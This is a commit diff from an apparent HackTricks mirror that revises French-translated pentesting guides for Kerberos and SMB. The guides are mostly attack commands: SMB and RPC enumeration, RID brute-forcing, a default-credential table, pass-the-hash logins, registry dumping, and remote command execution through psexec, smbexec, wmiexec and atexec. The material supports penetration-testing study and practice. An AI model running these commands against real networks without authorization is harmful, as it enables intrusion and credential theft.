maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/network-services-pentesting/pentesting-smb/README.md',

Browse Source
This commit is contained in:
Translator 2025-09-29 09:33:42 +00:00
parent d849535ddf
commit 36e563ee73
4 changed files with 413 additions and 282 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

62
src/network-services-pentesting/pentesting-kerberos-88/README.md
View File

@ -4,20 +4,57 @@
## Informations de base
**Kerberos** fonctionne sur un principe où il authentifie les utilisateurs sans gérer directement leur accès aux ressources. C'est une distinction importante car elle souligne le rôle du protocole dans les cadres de sécurité.
**Kerberos** fonctionne sur un principe où il authentifie les utilisateurs sans gérer directement leur accès aux ressources. C'est une distinction importante car cela souligne le rôle du protocole dans les cadres de sécurité.
Dans des environnements comme **Active Directory**, **Kerberos** est essentiel pour établir l'identité des utilisateurs en validant leurs mots de passe secrets. Ce processus garantit que l'identité de chaque utilisateur est confirmée avant qu'il n'interagisse avec les ressources réseau. Cependant, **Kerberos** n'étend pas sa fonctionnalité pour évaluer ou appliquer les permissions qu'un utilisateur a sur des ressources ou services spécifiques. Au lieu de cela, il fournit un moyen sécurisé d'authentifier les utilisateurs, ce qui est une étape critique dans le processus de sécurité.
Dans des environnements comme **Active Directory**, **Kerberos** joue un rôle essentiel pour établir l'identité des utilisateurs en validant leurs mots de passe secrets. Ce processus garantit que l'identité de chaque utilisateur est confirmée avant qu'il n'interagisse avec les ressources du réseau. Cependant, **Kerberos** n'étend pas sa fonctionnalité à l'évaluation ou à l'application des permissions qu'un utilisateur possède sur des ressources ou services spécifiques. À la place, il fournit un moyen sécurisé d'authentifier les utilisateurs, ce qui constitue une première étape critique dans le processus de sécurité.
Après l'authentification par **Kerberos**, le processus de prise de décision concernant l'accès aux ressources est délégué aux services individuels au sein du réseau. Ces services sont alors responsables d'évaluer les droits et permissions de l'utilisateur authentifié, en fonction des informations fournies par **Kerberos** sur les privilèges de l'utilisateur. Ce design permet une séparation des préoccupations entre l'authentification de l'identité des utilisateurs et la gestion de leurs droits d'accès, permettant une approche plus flexible et sécurisée de la gestion des ressources dans des réseaux distribués.
Après l'authentification par **Kerberos**, le processus de prise de décision concernant l'accès aux ressources est délégué aux services individuels au sein du réseau. Ces services sont alors responsables d'évaluer les droits et permissions de l'utilisateur authentifié, sur la base des informations fournies par **Kerberos** à propos des privilèges de l'utilisateur. Cette conception permet une séparation des responsabilités entre l'authentification de l'identité des utilisateurs et la gestion de leurs droits d'accès, permettant une approche plus flexible et plus sûre de la gestion des ressources dans les réseaux distribués.
**Port par défaut :** 88/tcp/udp
**Port par défaut:** 88/tcp/udp
```
PORT STATE SERVICE
88/tcp open kerberos-sec
```
### **Pour apprendre à abuser de Kerberos, vous devriez lire le post sur** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)**.**
### **Pour apprendre à abuser Kerberos, vous devriez lire l'article sur** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)**.**
## Plus
## Environnements Kerberos uniquement : préparation du client et dépannage
Lorsque NTLM est désactivé sur les services de domaine (SMB/WinRM/etc.), vous devez vous authentifier avec Kerberos. Pièges courants et workflow opérationnel :
- La synchronisation de l'heure est obligatoire. Si l'horloge de votre hôte dérive de plus de quelques minutes, vous verrez `KRB_AP_ERR_SKEW` et toute l'authentification Kerberos échouera. Synchronisez par rapport au DC:
```bash
# quick one-shot sync (requires sudo)
sudo ntpdate <dc.fqdn> || sudo chronyd -q 'server <dc.fqdn> iburst'
```
- Générez un krb5.conf valide pour le realm/domaine cible. `netexec` (fork de CME) peut en produire un pour vous lors des tests SMB:
```bash
# Generate krb5.conf and install it
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf
```
- Obtenir un TGT et vérifier le ccache:
```bash
kinit <user>
klist
```
- Utiliser Kerberos avec des outils SMB (aucun mot de passe envoyé, utilise votre ccache):
```bash
# netexec / CME
netexec smb <dc.fqdn> -k # lists shares, runs modules using Kerberos
# impacket examples also support -k / --no-pass to use the ccache
smbclient --kerberos //<dc.fqdn>/IPC$
```
- GSSAPI SSH authentification unique (OpenSSH vers Windows OpenSSH server):
```bash
# Ensure krb5.conf is correct and you have a TGT (kinit)
# Use the FQDN that matches the host SPN. Wrong names cause: "Server not found in Kerberos database"
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
```
Conseils :
- Assurez-vous que votre `/etc/hosts` résolve exactement le FQDN vers lequel vous allez SSH/SMB, et qu'il apparaisse avant toute entrée de domaine nue si vous remplacez le DNS. Les mismatches SPN cassent GSSAPI.
- Si NTLM est désactivé sur SMB, vous pouvez voir `STATUS_NOT_SUPPORTED` lors de tentatives NTLM ; ajoutez `-k` pour forcer Kerberos.
## En savoir plus
### Shodan
@ -25,16 +62,23 @@ PORT STATE SERVICE
### MS14-068
La faille MS14-068 permet à un attaquant de manipuler le jeton de connexion Kerberos d'un utilisateur légitime pour revendiquer faussement des privilèges élevés, comme être un administrateur de domaine. Cette revendication contrefaite est validée par erreur par le contrôleur de domaine, permettant un accès non autorisé aux ressources réseau à travers la forêt Active Directory.
La faille MS14-068 permet à un attaquant de manipuler le ticket de connexion Kerberos d'un utilisateur légitime afin de revendiquer faussement des privilèges élevés, comme être un Domain Admin. Cette revendication contrefaite est validée à tort par le Domain Controller, permettant un accès non autorisé aux ressources réseau à travers l'Active Directory forest.
{{#ref}}
https://adsecurity.org/?p=541
{{#endref}}
Autres exploits : [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
Other exploits: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
## Commandes Automatiques HackTricks
## Références
- [NetExec (CME) wiki – Kerberos and krb5.conf generation](https://www.netexec.wiki/)
- [OpenSSH GSSAPIAuthentication](https://man.openbsd.org/ssh_config#GSSAPIAuthentication)
- [MIT Kerberos – Using Kerberos on UNIX](https://web.mit.edu/kerberos/krb5-1.12/doc/user/user_config.html)
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
## HackTricks Automatic Commands
```
Protocol_Name: Kerberos #Protocol Abbreviation if there is one.
Port_Number: 88 #Comma separated if there is more than one.

180
src/network-services-pentesting/pentesting-smb/README.md
View File

@ -4,43 +4,43 @@
## **Port 139**
_**Network Basic Input Output System**_** (NetBIOS)** est un protocole logiciel conçu pour permettre aux applications, aux PCs et aux Desktops au sein d'un réseau local (LAN) d'interagir avec le matériel réseau et **faciliter la transmission des données à travers le réseau**. L'identification et la localisation des applications logicielles fonctionnant sur un réseau NetBIOS se font via leurs noms NetBIOS, qui peuvent comporter jusqu'à 16 caractères et sont souvent distincts du nom de l'ordinateur. Une session NetBIOS entre deux applications est initiée lorsqu'une application (agissant en tant que client) émet une commande pour "appeler" une autre application (agissant en tant que serveur) en utilisant **TCP Port 139**.
Le _**Network Basic Input Output System**_** (NetBIOS)** est un protocole logiciel conçu pour permettre aux applications, PC et postes de travail au sein d'un réseau local (LAN) d'interagir avec le matériel réseau et de **faciliter la transmission des données sur le réseau**. L'identification et la localisation des applications fonctionnant sur un réseau NetBIOS se font via leurs noms NetBIOS, qui peuvent comporter jusqu'à 16 caractères et sont souvent distincts du nom de l'ordinateur. Une session NetBIOS entre deux applications est initiée lorsqu'une application (agissant en tant que client) envoie une commande pour "appeler" une autre application (agissant en tant que serveur) en utilisant **TCP Port 139**.
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## Port 445
Techniquement, le Port 139 est désigné comme ‘NBT over IP’, alors que le Port 445 est identifié comme ‘SMB over IP’. L'acronyme **SMB** signifie ‘**Server Message Blocks**’, qui est aussi de nos jours connu sous le nom de **Common Internet File System (CIFS)**. En tant que protocole réseau de la couche application, SMB/CIFS est principalement utilisé pour permettre l'accès partagé aux fichiers, imprimantes, ports série, et faciliter diverses formes de communication entre les nœuds d'un réseau.
Techniquement, le port 139 est appelé ‘NBT over IP’, tandis que le port 445 est identifié comme ‘SMB over IP’. L'acronyme **SMB** signifie ‘**Server Message Blocks**’, également connu aujourd'hui sous le nom de **Common Internet File System (CIFS)**. En tant que protocole réseau de la couche application, SMB/CIFS est principalement utilisé pour permettre l'accès partagé aux fichiers, aux imprimantes, aux ports série, et pour faciliter diverses formes de communication entre nœuds d'un réseau.
Par exemple, dans le contexte de Windows, il est souligné que SMB peut fonctionner directement sur TCP/IP, éliminant la nécessité de NetBIOS over TCP/IP, grâce à l'utilisation du port 445. À l'inverse, sur d'autres systèmes, l'emploi du port 139 est observé, ce qui indique que SMB est exécuté conjointement avec NetBIOS over TCP/IP.
Par exemple, dans le contexte de Windows, on note que SMB peut fonctionner directement sur TCP/IP, supprimant la nécessité de NetBIOS over TCP/IP, via l'utilisation du port 445. À l'inverse, sur d'autres systèmes, l'utilisation du port 139 indique que SMB s'exécute en conjonction avec NetBIOS over TCP/IP.
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB
Le **Server Message Block (SMB)**, fonctionnant selon un modèle **client-serveur**, est conçu pour réguler **l'accès aux fichiers**, aux répertoires et à d'autres ressources réseau comme les imprimantes et les routeurs. Principalement utilisé au sein de la famille de systèmes d'exploitation **Windows**, SMB assure une compatibilité descendante, permettant aux appareils utilisant des versions plus récentes du système d'exploitation de Microsoft d'interagir sans heurts avec ceux exécutant des versions plus anciennes. De plus, le projet **Samba** propose une solution logicielle libre, permettant l'implémentation de SMB sur les systèmes **Linux** et Unix, facilitant ainsi la communication multiplateforme via SMB.
Le **Server Message Block (SMB)**, fonctionnant selon un modèle **client-serveur**, est conçu pour réguler **l'accès aux fichiers**, aux répertoires et à d'autres ressources réseau comme les imprimantes et les routeurs. Utilisé principalement au sein de la gamme de systèmes d'exploitation **Windows**, SMB assure la rétrocompatibilité, permettant aux appareils disposant de versions plus récentes du système d'exploitation de Microsoft d'interagir sans heurts avec ceux exécutant des versions plus anciennes. De plus, le projet **Samba** propose une solution logicielle libre, permettant la mise en œuvre de SMB sur les systèmes **Linux** et Unix, facilitant ainsi la communication multiplateforme via SMB.
Les Shares, représentant des **parties arbitraires du système de fichiers local**, peuvent être fournis par un serveur SMB, rendant la hiérarchie visible pour un client en partie **indépendante** de la structure réelle du serveur. Les **Access Control Lists (ACLs)**, qui définissent les **droits d'accès**, permettent un **contrôle granulaire** des permissions des utilisateurs, incluant des attributs tels que **`execute`**, **`read`** et **`full access`**. Ces permissions peuvent être attribuées à des utilisateurs individuels ou à des groupes, en fonction des Shares, et sont distinctes des permissions locales définies sur le serveur.
Les partages, représentant des **parties arbitraires du système de fichiers local**, peuvent être fournis par un serveur SMB, rendant la hiérarchie visible pour un client partiellement **indépendante** de la structure réelle du serveur. Les **Access Control Lists (ACLs)**, qui définissent les **droits d'accès**, permettent un **contrôle granulaire** des permissions des utilisateurs, incluant des attributs comme **`execute`**, **`read`** et **`full access`**. Ces permissions peuvent être attribuées à des utilisateurs individuels ou à des groupes, en fonction des partages, et sont distinctes des permissions locales définies sur le serveur.
### IPC$ Share
L'accès au share IPC$ peut être obtenu via une null session anonyme, permettant d'interagir avec des services exposés via des named pipes. L'utilitaire `enum4linux` est utile pour cela. Utilisé correctement, il permet l'acquisition de :
L'accès au partage IPC$ peut être obtenu via une anonymous null session, permettant d'interagir avec des services exposés via des named pipes. L'utilitaire `enum4linux` est utile à cet effet. Utilisé correctement, il permet d'obtenir :
- Informations sur le système d'exploitation
- Détails sur le domaine parent
- Une liste des utilisateurs et groupes locaux
- Informations sur les SMB shares disponibles
- Informations sur les partages SMB disponibles
- La politique de sécurité effective du système
Cette fonctionnalité est cruciale pour les administrateurs réseau et les professionnels de la sécurité afin d'évaluer la posture de sécurité des services SMB (Server Message Block) sur un réseau. `enum4linux` fournit une vue d'ensemble complète de l'environnement SMB du système cible, ce qui est essentiel pour identifier les vulnérabilités potentielles et s'assurer que les services SMB sont correctement sécurisés.
Cette fonctionnalité est essentielle pour les administrateurs réseau et les professionnels de la sécurité afin d'évaluer la posture de sécurité des services SMB (Server Message Block) sur un réseau. `enum4linux` fournit une vue complète de l'environnement SMB du système cible, ce qui est indispensable pour identifier les vulnérabilités potentielles et s'assurer que les services SMB sont correctement sécurisés.
```bash
enum4linux -a target_ip
```
La commande ci-dessus est un exemple de la façon dont `enum4linux` pourrait être utilisé pour effectuer une énumération complète contre une cible spécifiée par `target_ip`.
La commande ci‑dessus est un exemple de la façon dont `enum4linux` peut être utilisé pour effectuer une énumération complète contre une cible spécifiée par `target_ip`.
## Qu'est-ce que NTLM
Si vous ne savez pas ce qu'est NTLM ou si vous voulez savoir comment il fonctionne et comment l'abuser, vous trouverez très intéressante cette page sur **NTLM** où est expliqué **comment ce protocole fonctionne et comment vous pouvez en tirer parti :**
Si vous ne savez pas ce qu'est NTLM ou si vous voulez comprendre comment il fonctionne et comment l'abuser, vous trouverez très intéressante cette page sur **NTLM** qui explique **comment ce protocole fonctionne et comment vous pouvez en tirer parti :**
{{#ref}}
@ -49,15 +49,15 @@ Si vous ne savez pas ce qu'est NTLM ou si vous voulez savoir comment il fonction
## **Énumération des serveurs**
### **Scan** un réseau à la recherche d'hôtes:
### **Scan** un réseau à la recherche d'hôtes :
```bash
nbtscan -r 192.168.0.1/24
```
### Version du serveur SMB
Pour rechercher d'éventuels exploits liés à la version de SMB, il est important de savoir quelle version est utilisée. Si cette information n'apparaît pas dans les autres outils utilisés, vous pouvez :
Pour rechercher d'éventuels exploits ciblant la version SMB, il est important de savoir quelle version est utilisée. Si cette information n'apparaît pas dans les autres outils utilisés, vous pouvez :
- Utilisez le module auxiliaire **MSF** `**auxiliary/scanner/smb/smb_version**`
- Utiliser le module auxiliaire **MSF** `**auxiliary/scanner/smb/smb_version**`
- Ou ce script :
```bash
#!/bin/sh
@ -80,23 +80,23 @@ echo "" && sleep .1
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
```
### Identifiants **possibles**
### **Possibles** Identifiants
| **Username(s)** | **Common passwords** |
| -------------------- | ----------------------------------------- |
| _(blank)_ | _(blank)_ |
| guest | _(blank)_ |
| Administrator, admin | _(blank)_, password, administrator, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| test, lab, demo | password, test, lab, demo |
| **Nom(s) d'utilisateur(s)** | **Mots de passe courants** |
| --------------------------- | ----------------------------------------- |
| _(vide)_ | _(vide)_ |
| guest | _(vide)_ |
| Administrator, admin | _(vide)_, password, administrator, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| test, lab, demo | password, test, lab, demo |
### Brute Force
- [**SMB Brute Force**](../../generic-hacking/brute-force.md#smb)
### SMB Environment Information
### Informations sur l'environnement SMB
### Obtenir des informations
```bash
@ -120,7 +120,7 @@ rpcclient -U "username%passwd" <IP> #With creds
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
```
### Énumérer les utilisateurs, groupes & utilisateurs connectés
### Énumérer les utilisateurs, les groupes et les utilisateurs connectés
Ces informations devraient déjà être collectées par enum4linux et enum4linux-ng
```bash
@ -144,13 +144,13 @@ Oneliner
```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
```
### Metasploit - Énumérer les utilisateurs locaux
### Metasploit - Enumerate local users
```bash
use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run
```
### **Enumerating LSARPC and SAMR rpcclient**
### **Énumération LSARPC et SAMR rpcclient**
{{#ref}}
@ -171,7 +171,7 @@ rpcclient-enumeration.md
### Lister les dossiers partagés
Il est toujours recommandé de vérifier si vous pouvez accéder à quelque chose ; si vous n'avez pas d'identifiants, essayez d'utiliser **null** **credentials/guest user**.
Il est toujours recommandé de vérifier si vous pouvez accéder à quelque chose ; si vous n'avez pas de credentials, essayez d'utiliser **null** **credentials/guest user**.
```bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@ -185,7 +185,7 @@ crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
```
### **Se connecter / lister un dossier partagé**
### **Se connecter / Lister un dossier partagé**
```bash
#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
@ -197,11 +197,11 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
```
### **Enumérer manuellement les partages Windows et s'y connecter**
### **Énumérer manuellement les Windows shares et s'y connecter**
Il se peut que vous soyez limité dans la possibilité d'afficher les partages de la machine hôte et que, lorsque vous essayez de les lister, il semble qu'il n'y ait aucun partage disponible. Il peut donc valoir la peine d'essayer brièvement de se connecter manuellement à un partage. Pour énumérer les partages manuellement, vous pouvez rechercher des réponses comme NT_STATUS_ACCESS_DENIED et NT_STATUS_BAD_NETWORK_NAME lorsque vous utilisez une session valide (p.ex. null session ou identifiants valides). Celles-ci peuvent indiquer si le partage existe mais que vous n'y avez pas accès, ou si le partage n'existe pas du tout.
Il est possible que vous soyez empêché d'afficher les shares de la machine hôte et que, lorsque vous essayez de les lister, il semble n'y en avoir aucun auquel se connecter. Il peut donc être utile d'essayer brièvement de se connecter manuellement à un share. Pour énumérer les shares manuellement, vous pouvez rechercher des réponses telles que NT_STATUS_ACCESS_DENIED et NT_STATUS_BAD_NETWORK_NAME, lorsque vous utilisez une session valide (par ex. null session ou valid credentials). Celles-ci peuvent indiquer si le share existe mais que vous n'y avez pas accès, ou si le share n'existe pas du tout.
Common share names for windows targets are
Les noms de share courants pour les cibles Windows sont
- C$
- D$
@ -212,9 +212,9 @@ Common share names for windows targets are
- SYSVOL
- NETLOGON
(Noms de partages courants issus de _**Network Security Assessment 3rd edition**_)
(Common share names from _**Network Security Assessment 3rd edition**_)
Vous pouvez tenter de vous y connecter en utilisant la commande suivante
Vous pouvez essayer de vous connecter à ces shares en utilisant la commande suivante
```bash
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
@ -238,10 +238,10 @@ done
```
exemples
```bash
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
smbclient -U '%' -N \\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
```
### **Énumérer les partages sous Windows / sans outils tiers**
### **Énumérer les shares depuis Windows / sans outils tiers**
PowerShell
```bash
@ -267,7 +267,7 @@ fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc
```
explorer.exe (graphique), entrez `\\<ip>\` pour voir les partages non masqués disponibles.
explorer.exe (graphique) : entrez `\\<ip>\` pour voir les partages non cachés disponibles.
### Monter un dossier partagé
```bash
@ -276,7 +276,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
### **Télécharger des fichiers**
Lisez les sections précédentes pour apprendre comment vous connecter avec credentials/Pass-the-Hash.
Consultez les sections précédentes pour apprendre comment se connecter en utilisant credentials/Pass-the-Hash.
```bash
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
@ -291,16 +291,16 @@ smbclient //<IP>/<share>
> mget *
#Download everything to current directory
```
Commandes :
Commandes:
- mask: spécifie le masque utilisé pour filtrer les fichiers dans le répertoire (par ex. "" pour tous les fichiers)
- recurse: active/désactive la récursion (par défaut : désactivée)
- prompt: désactive l'invite pour les noms de fichiers (par défaut : activée)
- mget: copie tous les fichiers correspondant au masque depuis la machine hôte vers la machine cliente
- mask: spécifie le masque utilisé pour filtrer les fichiers dans le répertoire (p. ex. "" pour tous les fichiers)
- recurse: active la récursivité (par défaut : off)
- prompt: désactive l'invite pour les noms de fichiers (par défaut : on)
- mget: copie tous les fichiers correspondant au masque depuis l'hôte vers la machine cliente
(_Informations extraites de la page de manuel de smbclient_)
(_Informations tirées de la page de manuel de smbclient_)
### Recherche de dossiers partagés du domaine
### Recherche des dossiers partagés du domaine
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
```bash
@ -312,51 +312,65 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
Parmi les fichiers des partages, ceux appelés **`Registry.xml`** sont particulièrement intéressants car ils **peuvent contenir des mots de passe** pour des utilisateurs configurés avec **autologon** via Group Policy. Les fichiers **`web.config`** sont aussi intéressants car ils contiennent des identifiants.
Particulièrement intéressants dans les partages sont les fichiers appelés **`Registry.xml`** car ils **peuvent contenir des mots de passe** pour des utilisateurs configurés avec **autologon** via Group Policy. Ou les fichiers **`web.config`** car ils contiennent des identifiants.
> [!TIP]
> Le **SYSVOL share** est **lisible** par tous les utilisateurs authentifiés du domaine. Vous pouvez y **trouver** de nombreux scripts batch, VBScript et PowerShell **scripts**.\
> Le **SYSVOL share** est **lisible** par tous les utilisateurs authentifiés du domaine. Vous pouvez y **trouver** de nombreux batch, VBScript et PowerShell **scripts**.\
> Vous devriez **vérifier** les **scripts** qui s'y trouvent car vous pourriez **trouver** des informations sensibles telles que des **mots de passe**.
## Lire le registre
Vous pouvez être en mesure de **lire le registry** en utilisant des identifiants découverts. Impacket **`reg.py`** vous permet d'essayer :
Il se peut que vous puissiez **lire le registre** en utilisant des identifiants découverts. Impacket **`reg.py`** vous permet d'essayer :
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
```
## Post-exploitation
## Post Exploitation
La **configuration par défaut de** ce serveur **Samba** se trouve généralement dans `/etc/samba/smb.conf` et peut contenir des **configurations dangereuses** :
La **configuration par défaut** d'un serveur **Samba** se trouve généralement dans `/etc/samba/smb.conf` et peut contenir des **configurations dangereuses** :
| **Paramètre** | **Description** |
| --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | Permet d'énumérer les partages disponibles dans le partage courant ? |
| `read only = no` | Interdit la création et la modification de fichiers ? |
| `writable = yes` | Permet aux utilisateurs de créer et modifier des fichiers ? |
| `guest ok = yes` | Permet de se connecter au service sans mot de passe ? |
| `browseable = yes` | Autoriser l'énumération des partages disponibles dans le partage courant ? |
| `read only = no` | Interdire la création et la modification de fichiers ? |
| `writable = yes` | Autoriser les utilisateurs à créer et modifier des fichiers ? |
| `guest ok = yes` | Autoriser la connexion au service sans mot de passe ? |
| `enable privileges = yes` | Respecter les privilèges assignés à un SID spécifique ? |
| `create mask = 0777` | Quelles permissions doivent être assignées aux fichiers nouvellement créés ? |
| `directory mask = 0777` | Quelles permissions doivent être assignées aux répertoires nouvellement créés ? |
| `logon script = script.sh` | Quel script doit être exécuté lors de la connexion de l'utilisateur ? |
| `create mask = 0777` | Quelles permissions doivent être attribuées aux fichiers nouvellement créés ? |
| `directory mask = 0777` | Quelles permissions doivent être attribuées aux répertoires nouvellement créés ? |
| `logon script = script.sh` | Quel script doit être exécuté à la connexion de l'utilisateur ? |
| `magic script = script.sh` | Quel script doit être exécuté lorsque le script se termine ? |
| `magic output = script.out` | Où la sortie du magic script doit être stockée ? |
La commande `smbstatus` donne des informations sur le **serveur** et sur **qui est connecté**.
La commande `smbstatus` fournit des informations sur le **serveur** et sur **qui est connecté**.
## Authentification avec Kerberos
Vous pouvez **vous authentifier** auprès de **Kerberos** en utilisant les outils **smbclient** et **rpcclient**:
Vous pouvez vous **authentifier** auprès de **Kerberos** en utilisant les outils **smbclient** et **rpcclient** :
```bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
```
Dans les environnements Kerberos-only (NTLM désactivé), les tentatives NTLM contre SMB peuvent renvoyer `STATUS_NOT_SUPPORTED`. Corrigez les problèmes Kerberos courants et forcez Kerberos auth :
```bash
# sync clock to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>
# use Kerberos with tooling (reads your TGT from ccache)
netexec smb <dc.fqdn> -k
```
Pour une configuration complète du client (génération de krb5.conf, kinit, précautions SSH GSSAPI/SPN) voir:
{{#ref}}
../pentesting-kerberos-88/README.md
{{#endref}}
## **Exécuter des commandes**
### **crackmapexec**
crackmapexec peut exécuter des commandes en utilisant n'importe lequel de **mmcexec, smbexec, atexec, wmiexec**, **wmiexec** étant la méthode **par défaut**. Vous pouvez indiquer quelle option vous préférez utiliser avec le paramètre `--exec-method`:
crackmapexec peut exécuter des commandes **abusing** n'importe lequel des **mmcexec, smbexec, atexec, wmiexec**, **wmiexec** étant la méthode **default**. Vous pouvez indiquer quelle option vous préférez utiliser avec le paramètre `--exec-method`:
```bash
apt-get install crackmapexec
@ -380,9 +394,9 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
Les deux options vont **créer un nouveau service** (en utilisant _\pipe\svcctl_ via SMB) sur la machine victime et l'utiliser pour **exécuter quelque chose** (**psexec** va **upload** un fichier exécutable vers ADMIN$ share et **smbexec** va pointer vers **cmd.exe/powershell.exe** et mettre dans les arguments le payload --**file-less technique-**-).\
**Plus d'infos** sur [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)et [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
Dans **kali** il se trouve sur /usr/share/doc/python3-impacket/examples/
Les deux options vont **créer un nouveau service** (en utilisant _\pipe\svcctl_ via SMB) sur la machine victime et l'utiliser pour **exécuter quelque chose** (**psexec** va **upload** un fichier exécutable sur le partage ADMIN$ et **smbexec** va pointer vers **cmd.exe/powershell.exe** et mettre dans les arguments le payload --**file-less technique-**-).\
**Plus d'infos** sur [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md) et [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
Sous **kali** il se trouve dans /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
@ -390,19 +404,19 @@ Dans **kali** il se trouve sur /usr/share/doc/python3-impacket/examples/
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
En utilisant le **paramètre** `-k`, vous pouvez vous authentifier avec **kerberos** au lieu de **NTLM**
En utilisant le **paramètre** `-k` vous pouvez vous authentifier avec **kerberos** au lieu de **NTLM**
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
Exécutez furtivement un shell de commandes sans toucher le disque ni lancer un nouveau service en utilisant DCOM via le **port 135.**\
Dans **kali**, il se trouve dans /usr/share/doc/python3-impacket/examples/
Exécuter furtivement un shell de commandes sans toucher au disque ni lancer un nouveau service en utilisant DCOM via **port 135.**\
Dans **kali** il se trouve dans /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
En utilisant **paramètre**`-k`, vous pouvez vous authentifier auprès de **kerberos** plutôt qu'avec **NTLM**.
En utilisant le **paramètre** `-k`, vous pouvez vous authentifier via **kerberos** au lieu de **NTLM**.
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
@ -411,8 +425,8 @@ En utilisant **paramètre**`-k`, vous pouvez vous authentifier auprès de **kerb
```
### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
Exécuter des commandes via le Task Scheduler (en utilisant _\pipe\atsvc_ via SMB).\
Sur **kali** il se trouve dans /usr/share/doc/python3-impacket/examples/
Exécuter des commandes via le Planificateur de tâches (en utilisant _\pipe\atsvc_ via SMB).\
Sur **kali** il est situé dans /usr/share/doc/python3-impacket/examples/
```bash
